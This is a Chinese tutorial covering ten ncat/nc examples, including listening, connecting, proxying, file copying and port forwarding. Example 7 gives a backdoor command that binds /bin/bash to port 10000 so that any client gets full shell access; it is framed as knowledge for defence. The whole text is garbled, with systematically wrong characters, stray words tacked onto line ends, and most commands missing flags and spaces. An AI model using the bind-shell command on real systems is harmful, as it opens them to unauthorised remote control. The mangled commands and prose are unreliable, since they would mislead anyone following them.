ncat

ncat 或者说 nc 是一款功能相似 cat 的工具,可是是用于网络的。它是一款拥有多种功能的 CLI 工具,能够用来在网络上读、写以及重定向数据。 它被设计成能够被脚本或其余程序调用的可靠的后端工具。同时因为它能建立任意所需的链接,所以也是一个很好的网络调试工具。linux

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至能够作为一个简单的 TCP 代理。 因为有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每一个系统管理员都应该知道而且掌握它。web

在大多数 Debian 发行版中,nc 是默承认用的,它会在安装系统的过程当中自动被安装。 可是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 你须要用下列命令手工安装。后端

  1. [root@linuxtechi ~]#yum install nmap-ncat -y

系统管理员能够用它来审计系统安全,用它来找出开放的端口而后保护这些端口。 管理员还能用它做为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 经过 nc 咱们能够控制发送的每一个字符,也能够查看对方的回应。安全

咱们还能够用它捕获客户端发送的数据以此来了解这些客户端是作什么的。bash

在本文中,咱们会经过 10 个例子来学习如何使用 nc 命令。服务器

 

例子: 1) 监听入站链接

经过 -l 选项,ncat 能够进入监听模式,使咱们能够在指定端口监听入站链接。 完整的命令是这样的:网络

  1. $ ncat -l port_number

好比,ssh

  1. $ ncat -8080

服务器就会开始在 8080 端口监听入站链接。工具

 

例子: 2) 链接远程系统

使用下面命令能够用 nc 来链接远程系统,学习

  1. $ ncat IP_address port_number

让咱们来看个例子,

  1. $ ncat 192.168.1.10080

这会建立一个链接,链接到 IP 为 192.168.1.100 的服务器上的 80 端口,而后咱们就能够向服务器发送指令了。 好比咱们能够输入下面内容来获取完整的网页内容

  1. GET / HTTP/1.1

或者获取页面名称,

  1. GET / HTTP/1.1

或者咱们能够经过如下方式得到操做系统指纹标识,

  1. HEAD / HTTP/1.1

这会告诉咱们使用的是什么软件来运行这个 web 服务器的。

 

例子: 3) 链接 UDP 端口

默认状况下,nc 建立链接时只会链接 TCP 端口。 不过咱们可使用 -u 选项来链接到 UDP 端口,

  1. $ ncat --1234

如今咱们的系统会开始监听 UDP 的 1234 端口,咱们可使用下面的 netstat 命令来验证这一点,

  1. netstat-tunlp |grep1234
  2. udp 000.0.0.0:12340.0.0.0:*17341/nc
  3. udp6 00:::1234:::*17341/nc

假设咱们想发送或者说测试某个远程主机 UDP 端口的连通性,咱们可使用下面命令,

  1. $ ncat --{host-ip}{udp-port}

好比:

  1. [root@localhost ~]# ncat --192.168.105.15053
  2. Ncat:Version6.40( http://nmap.org/ncat )
  3. Ncat:Connected to 192.168.105.150:53

 

例子: 4) 将 nc 做为聊天工具

nc 也能够做为聊天工具来用,咱们能够配置服务器监听某个端口,而后从远程主机上链接到服务器的这个端口,就能够开始发送消息了。 在服务器这端运行:

  1. $ ncat -8080

在远程客户端主机上运行:

  1. $ ncat 192.168.1.1008080

以后开始发送消息,这些消息会在服务器终端上显示出来。

 

例子: 5) 将 nc 做为代理

nc 也能够用来作代理。好比下面这个例子,

  1. $ ncat -8080| ncat 192.168.1.20080

全部发往咱们服务器 8080 端口的链接都会自动转发到 192.168.1.200 上的 80 端口。 不过因为咱们使用了管道,数据只能被单向传输。 要同时可以接受返回的数据,咱们须要建立一个双向管道。 使用下面命令能够作到这点:

  1. mkfifo2way
  2. $ ncat -80800<2way| ncat 192.168.1.200801>2way

如今你能够经过 nc 代理来收发数据了。

 

例子: 6) 使用 nc 拷贝文件

nc 还能用来在系统间拷贝文件,虽然这么作并不推荐,由于绝大多数系统默认都安装了 ssh/scp。 不过若是你刚好碰见个没有 ssh/scp 的系统的话, 你能够用 nc 来做最后的努力。

在要接受数据的机器上启动 nc 并让它进入监听模式:

  1. $ ncat -8080>file.txt

如今去要被拷贝数据的机器上运行下面命令:

  1. $ ncat 192.168.1.1008080--send-only < data.txt

这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后当即关闭链接。 若是不加该选项, 咱们须要手工按下 ctrl+c 来关闭链接。

咱们也能够用这种方法拷贝整个磁盘分区,不过请必定要当心。

 

例子: 7) 经过 nc 建立后门

nc 命令还能够用来在系统中建立后门,而且这种技术也确实被黑客大量使用。 为了保护咱们的系统,咱们须要知道它是怎么作的。 建立后门的命令为:

  1. $ ncat -10000-/bin/bash

-e 标志将一个 bash 与端口 10000 相连。如今客户端只要链接到服务器上的 10000 端口就能经过 bash 获取咱们系统的完整访问权限:

  1. $ ncat 192.168.1.10010000

 

例子: 8) 经过 nc 进行端口转发

咱们经过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:

  1. $ ncat --80-'ncat -u -l 8080'

这样,全部链接到 80 端口的链接都会转发到 8080 端口。

 

例子: 9) 设置链接超时

nc 的监听模式会一直运行,直到手工终止。 不过咱们能够经过选项 -w 设置超时时间:

  1. $ ncat -w10192.168.1.1008080

这回致使链接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

 

例子: 10) 使用 -k 选项强制 nc 待命

当客户端从服务端断开链接后,过一段时间服务端也会中止监听。 但经过选项 -k 咱们能够强制服务器保持链接并继续监听端口。 命令以下:

  1. $ ncat --8080

如今即便来自客户端的链接断了也依然会处于待命状态。

相关文章
相关标签/搜索